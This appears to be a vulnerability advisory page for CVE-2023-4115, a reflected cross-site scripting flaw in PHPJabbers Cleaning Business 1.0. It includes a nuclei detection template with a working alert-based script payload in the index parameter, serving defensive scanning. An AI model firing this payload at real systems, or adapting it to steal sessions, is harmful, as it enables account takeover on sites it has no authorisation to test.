CVE-2023-4115· phpjabbers / cleaning business software· CWE-79
PHPJabbers Cleaning Business 1.0 - Cross-Site Scripting
mediumseverity
6.1CVSS score
8.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
Impact
Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of cleaning business booking system administrators and customers.
Fix
Update PHPJabbers Cleaning Business Software to a version newer than 1.0 that properly sanitizes the index parameter in pjFront controller.
How to confirm it
Send: GET {{BaseURL}}/index.php?controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "Enquiry summary", "><script>alert(document.domain)</script>")Run it with nuclei: nuclei -id CVE-2023-4115 -u <target>
The full check
id: CVE-2023-4115
info:
name: PHPJabbers Cleaning Business 1.0 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of cleaning business booking system administrators and customers.
remediation: |
Update PHPJabbers Cleaning Business Software to a version newer than 1.0 that properly sanitizes the index parameter in pjFront controller.
reference:
- https://www.exploitalert.com/view-details.html?id=39747
- https://cxsecurity.com/ascii/WLB-2023080015
- https://nvd.nist.gov/vuln/detail/CVE-2023-4115
- https://vuldb.com/?ctiid.235962
- https://vuldb.com/?id.235962
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-4115
cwe-id: CWE-79
epss-score: 0.08422
epss-percentile: 0.95038
cpe: cpe:2.3:a:phpjabbers:cleaning_business_software:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: phpjabbers
product: cleaning_business_software
tags: cve2023,cve,xss,phpjabber,jabber,phpjabbers,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php?controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "Enquiry summary", "><script>alert(document.domain)</script>")'
condition: andReferences
- https://www.exploitalert.com/view-details.html?id=39747
- https://cxsecurity.com/ascii/WLB-2023080015
- https://nvd.nist.gov/vuln/detail/CVE-2023-4115
- https://vuldb.com/?ctiid.235962
- https://vuldb.com/?id.235962
Use this check only on systems you are authorised to test. Where the data comes from